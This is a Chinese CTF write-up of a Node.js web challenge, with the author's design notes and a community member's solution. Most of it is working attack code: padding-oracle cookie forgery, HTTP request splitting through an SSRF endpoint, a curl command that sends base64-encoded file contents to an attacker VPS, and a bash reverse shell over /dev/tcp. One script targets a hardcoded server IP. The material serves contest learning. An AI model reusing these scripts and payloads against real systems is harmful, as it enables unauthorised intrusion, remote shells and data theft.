出题团队简介
赛题设计思路
作者(Achilles)来自星盟安全团队。
这是一个node项目,题目需要比赛者ssrf进而命令执行获得藏在比赛题目源代码中的flag。黑盒,不给源代码附件。
先访问/admin,发现它是解密cookie判断是不是管理员,用padding oracle attack伪造管理员cookie
http.get函数在node的8版本(其中的较低版本)或者更低版本存在被http拆分攻击危险。攻击者通过这个漏洞可以达到http走私的效果。
通过走私满足/C00mmmmanD对ip的要求,从而命令执行
下面是一把梭脚本,注意把这个脚本放在这个项目https://github.com/pspaul/padding-oracle文件夹里面。这个脚本执行的命令是
```bash
curl xxxx:xxx/?`cat kctf.js|grep flag|base64`
在vps那里nc,收到后base64解密后得到flag:
# -*- coding: utf-8 -*-
import urllib.parse
from http.cookies import SimpleCookie
import requests
from padding_oracle import PaddingOracle
from optimized_alphabets import json_alphabet
attackIP = ""
attackPort = ""
vpsIP = ""
vpsPort = ""
def payload_encode(raw):
payload = raw.replace('\n', '\u010d\u010a') \
.replace('+', '\u012b') \
.replace(' ', '\u0120') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
.replace('`', '\u0127') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d')
return payload
def oracle(cipher_hex):
headers = {'Cookie':"isadmin={}".format(cipher_hex)}
r = requests.get("http://"+attackIP+":"+attackPort+"/admin",headers = headers)
response = r.content
if b"Decrypt error" not in response:
return True
else:
return False
def step1():
r = requests.get(url="http://"+attackIP+":"+attackPort)
cookie = SimpleCookie(r.headers['Set-Cookie'])
cookie = cookie["isadmin"].value
return cookie
def step2(cipher):
o = PaddingOracle(oracle, max_retries=-1)
plain, _ = o.decrypt(cipher, optimized_alphabet=json_alphabet())
plain_new = b"{\"admin\":\"1\"}"
cipher_new = o.craft(cipher, plain, plain_new)
return cipher_new
def step3(new_cookie):
payload = " HTTP/1.1\n\nPOST /C00mmmmanD HTTP/1.1\nHost: 127.0.0.1\nCookie: isadmin={}\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 75\n\ncmd=curl%20"+vpsIP+"%3A"+vpsPort+"%3F%60cat%20kctf.js%7Cgrep%20flag%7Cbase64%60\n\nGET / HTTP/1.1\ntest:"
payload = payload.format(new_cookie)
payload = payload_encode(payload)
r = requests.get("http://"+attackIP+":"+attackPort+"/search?url=http://127.0.0.1:"+attackPort+"/" + urllib.parse.quote(payload))
if __name__ == "__main__":
cookie = step1()
new_cookie = step2(cookie)
step3(new_cookie)
赛题解析
本赛题解析由看雪论坛会员 rmb122 给出:
import binascii
import requests
# https://github.com/mwielgoszewski/python-paddingoracle
from paddingoracle import PaddingOracle, BadPaddingException
class PadBuster(PaddingOracle):
def __init__(self, session: requests.Session, wait: float = 0.1, **kwargs):
super(PadBuster, self).__init__(**kwargs)
self.session = session
self.wait = wait
def oracle(self, data, **kwargs):
token = binascii.hexlify(data).decode()
resp = None
while True:
try:
resp = self.session.get('http://150.158.18.137:5329/admin', cookies={
'isadmin': token
})
break
except requests.HTTPError:
# time.sleep(self.wait)
continue
self.history.append(resp)
if 'Decrypt error' not in resp.text:
return
else:
raise BadPaddingException
sess = requests.session()
pad_buster = PadBuster(sess)
ct = binascii.unhexlify('b60bdcada90e7c628b68d0ed965363858dc1695757156638e9b86ac59c99e7c2')
print(len(ct))
print(ct)
# admin_token = pad_buster.decrypt(ct[16:], block_size=16, iv=ct[:16])
# print(admin_token)
# b'{"admin":"0"}\x03\x03\x03'
iv = bytearray(ct[:16])
iv[10] = iv[10] ^ ord('0') ^ ord('1')
print(binascii.hexlify(bytes(iv) + ct[16:]))
import requests
sess = requests.session()
CRLF = 'č̊'
BLANK = '̠'
r = f'''1 HTTP/1.1
Cookie: isadmin=b60bdcada90e7c628b68d1ed965363858dc1695757156638e9b86ac59c99e7c2
Connection: keep-alive
Host: 127.0.0.1
POST /C00mmmmanD HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.86.0
Accept: */*
Connection: close
Cookie: isadmin=b60bdcada90e7c628b68d1ed965363858dc1695757156638e9b86ac59c99e7c2
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
cmd=bash -c "bash -i >%2526 /dev/tcp/ip/port 0>%25261"
'''.replace('\n', CRLF).replace(' ', BLANK)
# 记得修改 Content-Length
print(r)
r = sess.get('http://150.158.18.137:5329/search?url=http://127.0.0.1:5329/C00mmmmanD?a=' + r)
print(r.text)
球分享
球点赞
球在看